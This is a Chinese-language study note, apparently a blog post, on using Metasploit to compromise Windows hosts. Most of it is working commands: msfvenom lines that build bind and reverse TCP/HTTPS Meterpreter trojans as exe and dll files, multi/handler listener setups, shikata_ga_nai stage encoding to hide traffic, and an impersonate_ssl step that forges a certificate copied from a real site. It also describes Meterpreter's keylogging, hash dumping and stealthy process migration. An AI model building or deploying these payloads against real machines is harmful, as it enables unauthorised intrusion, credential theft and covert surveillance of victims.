【笔记】MSF实现Windows上线

前言

MSF实现Windows上线

MSF生成的payload的种类

  • Windows的32位可执行程序采用windows/,Windows的64位可执行程序采用windows/x64/
  • Shell模式采用shell/,Meterpreter模式采用meterpreter/
  • 正向连接采用bind_,反向连接采用reverse_
  • TCP协议采用_tcp,HTTP协议采用_http,HTTPS协议采用_https

Shell模式

  • 功能相对简单,主要提供一个命令行界面,用于执行一些基本的系统命令,如查看系统信息、文件操作等,但无法像Meterpreter那样进行复杂的后渗透操作
  • 执行的命令和返回的数据是以明文形式进行传输的,容易被网络监控工具发现和分析,且在命令执行时,返回的数据可能因编码问题出现乱码
  • 通常会在目标系统上创建一个新的进程来运行,相对来说更容易被系统监控和安全软件检测到
  • 通常与特定的操作系统相关,不同操作系统的shell环境和命令存在差异,通用性相对较差

Meterpreter模式

  • 功能非常强大和丰富,提供了200多个后渗透模块,如系统信息获取、密码哈希导出、文件上传下载、屏幕截取、键盘记录、权限提升、跳板攻击、反追踪等。它还可以进行进程迁移,将自身迁移到目标系统中更稳定或更隐蔽的进程中运行,以提高渗透的成功率和隐蔽性
  • 在流量传输过程中会对信息进行加密,即使使用抓包工具进行抓包,也只能看到加密过的内容,从而提高了通信的安全性和隐蔽性
  • 是一种完全基于内存的DLL注入式Payload,纯内存工作,不需要对磁盘进行任何写入操作,这使得它在目标计算机上运行时更难以被发现和检测。它会在被攻击进程内工作,不需要创建新的进程,进一步增强了隐蔽性
  • 具有很好的跨平台支持,可以在不同操作系统上运行,包括Windows、Linux、Mac、Android等,这使得它在渗透测试过程中具有较高的灵活性和适用性

正向连接Demo

  • Windows的32位可执行程序,Meterpreter模式,正向连接,TCP协议

攻击者生成木马

exe

<port_local>:受害者开放的端口号
-f exe:定义输出的文件类型
-o <file>.exe:定义输出的文件路径

1
msfvenom -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=<port_local> -f exe -o <file>.exe

受害者执行木马

  • 受害者执行木马,会自动监听端口,等待msf主动连接

攻击者建立连接

<ip_remote>:受害者IP地址
<port_remote>:受害者端口号

1
2
3
4
5
6
msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
msf exploit(multi/handler) > set rhost <ip_remote>
msf exploit(multi/handler) > set rport <port_remote>
msf exploit(multi/handler) > set run
1
meterpreter > 

反向连接Demo

  • Windows的32位可执行程序,Meterpreter模式,反向连接,TCP协议

攻击者生成木马

exe可执行文件

<ip_local>:攻击者IP地址
<port_local>:攻击者端口号
-f exe:定义输出的文件类型
-o <file>.exe:定义输出的文件路径

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip_local> LPORT=<port_local> -f exe -o <file>.exe

dll动态链接库

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip_local> LPORT=<port_local> -f dll -o <file>.dll

攻击者监听反弹Shell

1
2
3
4
5
6
msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 0.0.0.0
msf exploit(multi/handler) > set lport <port>
msf exploit(multi/handler) > run
  • nc监听的反弹Shell也可以得到msf木马反弹的Shell

监听反弹Shell时混淆流量

1
2
msf exploit(multi/handler) > set enablestageencoding true
msf exploit(multi/handler) > set stageencoder x86/shikata_ga_nai

受害者执行木马

  • 受害者执行木马,会主动连接msf服务端,上线成功后,攻击者可以看到新的会话
1
meterpreter > 

采用HTTPS协议时使用自定义SSL证书

生成证书

手动生成证书

  • 生成包含主题的SSL证书

传送门

根据已有网站生成伪造的证书

<domain>:指定站点域名

1
2
3
4
msfconsole
msf > use auxiliary/gather/impersonate_ssl
msf auxiliary(gather/impersonate_ssl) > set RHOSTS <domain>
msf auxiliary(gather/impersonate_ssl) > run
1
2
3
key: /root/.msf/loot/<file_name>.key
crt: /root/.msf/loot/<file_name>.crt
pem: /root/.msf/loot/<file_name>.pem

反向连接Demo

  • Windows的32位可执行程序,Meterpreter模式,反向连接,HTTPS协议

攻击者生成木马

exe可执行文件

<port_local>:受害者开放的端口号
-f exe:定义输出的文件类型
-o <file>.exe:定义输出的文件路径
PayloadUUIDTracking=true:启用基于UUID的Payload追踪
PayloadUUIDName=<uuid>:指定uuid用于Payload追踪
HandlerSSLCert=<uuid>:指定HTTPS通信的SSL证书,需要指定合并公钥和私钥后的证书文件
StagerVerifySSLCert=true:启用HTTPS通信前验证SSL证书

1
msfvenom -p windows/meterpreter/reverse_https LHOST=0.0.0.0 LPORT=<port_local> PayloadUUIDTracking=true PayloadUUIDName=<uuid> HandlerSSLCert=<file>.pem StagerVerifySSLCert=true -f exe -o <file>.exe

攻击者监听反弹Shell

set HandlerSSLCert <file>.pem:指定HTTPS通信的SSL证书,需要指定合并公钥和私钥后的证书文件
set StagerVerifySSLCert true:启用HTTPS通信前验证SSL证书

1
2
3
4
5
6
7
8
msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_https
msf exploit(multi/handler) > set lhost 0.0.0.0
msf exploit(multi/handler) > set lport <port>
msf exploit(multi/handler) > set HandlerSSLCert <file>.pem
msf exploit(multi/handler) > set StagerVerifySSLCert true
msf exploit(multi/handler) > run

受害者执行木马

  • 受害者执行木马,会主动连接msf服务端,上线成功后,攻击者可以看到新的会话
1
meterpreter > 

完成

参考文献

哔哩哔哩——xiaodisec
CSDN——齐泽文的Blog